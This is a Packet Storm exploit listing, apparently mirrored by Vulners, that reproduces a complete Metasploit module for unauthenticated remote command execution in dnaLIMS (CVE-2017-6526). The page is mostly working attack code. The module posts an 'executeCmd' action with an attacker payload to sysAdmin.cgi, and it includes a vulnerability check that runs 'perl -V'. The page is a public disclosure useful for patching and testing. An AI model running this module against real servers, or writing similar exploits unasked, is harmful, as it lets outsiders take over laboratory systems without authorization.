Lucene search
K

dnaLIMS Admin Module Command Execution

🗓️ 20 Mar 2017 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

This module utilizes an administrative module which allows for command execution. This page is completely unprotected from any authentication when given a POST request

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'dnaLIMS Admin Module Command Execution',  
'Description' => %q{  
This module utilizes an administrative module which allows for  
command execution. This page is completely unprotected from any  
authentication when given a POST request.  
},  
'Author' =>  
[  
'h00die <[email protected]>', # Discovery, PoC  
'flakey_biscuit <[email protected]>' # Discovery, PoC  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2017-6526'],  
['US-CERT-VU', '929263'],  
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']  
],  
'Platform' => %w( linux unix ),  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'Compat' =>  
{  
'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there  
}  
},  
'Targets' =>  
[  
[ 'Automatic Target', { }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 8 2017'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])  
], self.class  
)  
end  
  
def check  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'investigator' => '',  
'username' => '',  
'navUserName' => '',  
'Action' => 'executeCmd',  
'executeCmdData' => 'perl -V'  
}  
)  
if res && res.body  
if /Summary of/ =~ res.body  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
else  
Exploit::CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
  
def exploit  
begin  
vprint_status('Sending Exploit')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'investigator' => '',  
'username' => '',  
'navUserName' => '',  
'Action' => 'executeCmd',  
'executeCmdData' => payload.encoded,  
}  
)  
vprint_good(res.body)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
end  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2017 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.8373
33